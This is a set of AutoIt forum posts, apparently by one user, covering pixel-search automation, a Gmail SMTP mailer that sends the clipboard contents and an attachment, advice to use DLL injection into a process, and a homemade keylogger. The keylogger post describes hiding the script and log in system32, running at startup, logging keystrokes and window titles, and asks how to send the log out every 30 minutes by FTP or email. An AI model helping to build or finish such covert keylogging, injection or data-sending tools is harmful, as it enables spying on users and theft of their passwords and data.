squidol

i didnt really understand what that says until i realized the < > signs. so if i have the variables below: Global $left = 0 Global $top = 0 Global $right = 4 Global $bottom = 4 If $left is less than $right and $top is less than $bottom. Then the directions would be Left-to-Right and Top-to-Bottom. Does the image below represent it?

May i ask what direction does pixelsearch do:

Android application emulated on windows (no controls, classnames) where the UI does not have a definite location where it would popup.

I need help about pixel search. The problem with the script below is that PixelSearch does not continue on the coordinates where it has stopped. When the first pixelsearch finds the 1st pixel, it should move the mouse over it and new pixels would appear just like hovering over menus. Then upon hover, there would be another PixelSearch to see if the second red pixel is found. If not found, then it should resume the first PixelSearch instead of starting from left to right again. For example we are doing a pixelsearch on two straight lines with coordinates [x,y] : [0,0] [1,0] [2,0] [1,0] [1,1] [1,2] Pixelsearch finds the coordinate [1,0] matching our color. So it checks the pixel just below it which is [1,1] to see if it is color red. If not red then it should continue searching starting on coordinates [2,0] instead of going back to [0,0] Local $bflag = False Do     ToolTip("finding..",0,0,"")     Sleep(500)     $var = PixelSearch(591, 169, 1365, 740, 0x464950,50) ; look for initial pixel     If Not @error Then ;         MouseMove($var[0],$var[1],0) ;move on the button to show new selections, new pixels         sleep(1000)         ;search for the red pixel on an area above the first pixel coords which was          ;generated when mouse cursor was hovered on the first pixel found.         $redpixel = PixelSearch($var[0]-50,$var[1]-50,$var[0]+50,$var[1]+50,0xFF0048)          If Not @error Then ; Found the 2nd pixel                 ToolTip("found...",0,0,"")             $bflag = True          EndIf     EndIf Until $bflag I can pay 50USD through Paypal for a working solution. thanks

thanks for the tutorial, try using koda gui designer, it will help you design your gui at ease.

i've tried to install the exchangecdo.exe but still problems persist. i'm trying steps here http://support.microsoft.com/kb/910360 and will post later what will happen

oh this is line 101 of the script Local $OBJEMAIL = ObjCreate("CDO.Message")

$SMTPSERVER = "smtp.gmail.com" $FROMNAME = "groundefiance" $FROMADDRESS = "123@gmail.com" $TOADDRESS = "123@gmail.com" $SUBJECT = ("Test mail") $Body = ClipGet() $CCADDRESS = "" $BCCADDRESS = "" $IMPORTANCE = "High" $USERNAME = "123@gmail.com" $PASSWORD = "12345" $IPPORT = 465 $SSL = 1 $REGEDIT = 1 _SENDMAIL() Func _SENDMAIL() If Not FileGetSize($ATTACH2) = 0 Then If _INETSMTPMAILCOM($SMTPSERVER, $FROMNAME, $FROMADDRESS, $TOADDRESS, $SUBJECT, $BODY, $ATTACH2, $CCADDRESS, $BCCADDRESS, $IMPORTANCE, $USERNAME, $PASSWORD, $IPPORT, $SSL) Then MsgBox(0,"","mail not sent!") Else MsgBox(0,"","mail sent!") EndIf Else MsgBox(0,"","file size = 0 mail not sent") EndIf EndFunc ;==>_SENDMAIL Func _INETSMTPMAILCOM($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT, $AS_BODY , $S_ATTACHFILES , $S_CCADDRESS , $S_BCCADDRESS , $S_IMPORTANCE , $S_USERNAME , $S_PASSWORD, $IPPORT, $SSL) Local $OBJEMAIL = ObjCreate("CDO.Message") $OBJEMAIL.From = '"' & $S_FROMNAME & '" <' & $S_FROMADDRESS & ">" $OBJEMAIL.To=$S_TOADDRESS Local $I_ERROR = 0 Local $I_ERROR_DESCIPTION = "" If $S_CCADDRESS <> "" Then $OBJEMAIL.Cc = $S_CCADDRESS If $S_BCCADDRESS <> "" Then $OBJEMAIL.Bcc = $S_BCCADDRESS $OBJEMAIL.Subject = $S_SUBJECT If StringInStr($AS_BODY, "<") And StringInStr($AS_BODY, ">") Then $OBJEMAIL.HTMLBody = $AS_BODY Else $OBJEMAIL.Textbody = $AS_BODY & @CRLF EndIf If $S_ATTACHFILES <> "" Then Local $S_FILES2ATTACH = StringSplit($S_ATTACHFILES, ";") For $X = 1 To $S_FILES2ATTACH[0] $S_FILES2ATTACH[$X] = _PATHFULL($S_FILES2ATTACH[$X]) ConsoleWrite("@@ Debug(62) : $S_Files2Attach = " & $S_FILES2ATTACH & @LF & ">Error code: " & @error & @LF) If FileExists($S_FILES2ATTACH[$X]) Then $OBJEMAIL.AddAttachment($S_FILES2ATTACH[$X]) Else ConsoleWrite("!> File not found to attach: " & $S_FILES2ATTACH[$X] & @LF) SetError(1) Return 0 EndIf Next EndIf ;~ $OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $ObjEmail.Configuration.Fields.Item ( "http://schemas.microsoft.com/cdo/configuration/sendusing" ) = 2 $ObjEmail.Configuration.Fields.Item ( "http://schemas.microsoft.com/cdo/configuration/smtpserver" ) = "smtp.gmail.com" If Number($IPPORT) = 0 Then $IPPORT = 465 $ObjEmail.Configuration.Fields.Item ( "http://schemas.microsoft.com/cdo/configuration/smtpserverport" ) = 465 If $S_USERNAME <> "" Then $OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $S_USERNAME $OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $S_PASSWORD EndIf If $SSL Then $OBJEMAIL.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf $OBJEMAIL.Configuration.Fields.Update Switch $S_IMPORTANCE Case "High" $OBJEMAIL.Fields.Item("urn:schemas:mailheader:Importance") = "High" Case "Normal" $OBJEMAIL.Fields.Item("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $OBJEMAIL.Fields.Item("urn:schemas:mailheader:Importance") = "Low" EndSwitch $OBJEMAIL.Fields.Update $OBJEMAIL.Send If @error Then SetError(2) Return $OMYRET[1] EndIf $OBJEMAIL = "" EndFunc ;==>_INETSMTPMAILCOM

hellow im having a problem with this udf. email successfully sent on my home computer (xp 32bit) but email can't be sent using a computer (xp 32bit) on my computer shop.. error func returns ### COM Error ! Number: 800401F3 ScriptLine: 101 Description: ### COM Error ! Number: 000000A9 ScriptLine: 102 Description: ### COM Error ! Number: 000000A9 ScriptLine: 103 Description: ### COM Error ! Number: 000000A9 ScriptLine: 108 Description: ### COM Error ! Number: 000000A9 ScriptLine: 112 Description: @@ Debug(62) : $S_Files2Attach = >Error code: 0 ### COM Error ! Number: 000000A9 ScriptLine: 120 Description: ### COM Error ! Number: 000000A9 ScriptLine: 128 Description: ### COM Error ! Number: 000000A9 ScriptLine: 129 Description: ### COM Error ! Number: 000000A9 ScriptLine: 131 Description: ### COM Error ! Number: 000000A9 ScriptLine: 133 Description: ### COM Error ! Number: 000000A9 ScriptLine: 134 Description: ### COM Error ! Number: 000000A9 ScriptLine: 135 Description: ### COM Error ! Number: 000000A9 ScriptLine: 138 Description: ### COM Error ! Number: 000000A9 ScriptLine: 140 Description: ### COM Error ! Number: 000000A9 ScriptLine: 143 Description: ### COM Error ! Number: 000000A9 ScriptLine: 149 Description: ### COM Error ! Number: 000000A9 ScriptLine: 150 Description: ive already tried to regsvr32 cdosys.dll and cdo.dll .. still not working!

Research on compiling that au3 .exe into a .dll and then you can use .dll injection. If you want to inject .exe to a process, your code should be able to execute at different addresses. If you use dll inject, Windows DLL loader will get the job done.

This keylogger does not call any dll and just uses Hotkeyset to get keyboard keystrokes and writes them into a txt file both located in system32. It also writes the current active window where the keys are pressed. Runs on system startup It records letters from a-z, @, underscores, [space], [backspace], and [tab] keys. The problem is when i try to keylog myself using this, i type my email for example. ex. adik2dmax666@gmail.com the actual text that i put in the browser is adik2dmax666@GMAIL<COM. Whenever i press shift, the keys become stuck to upper case.Second problem is i cant figure a way on how to send it to an ftp server or email every 30 minutes. I've already seen scripts like FTP.au3 and blat.exe but i can't make it work. Please help optimize my code.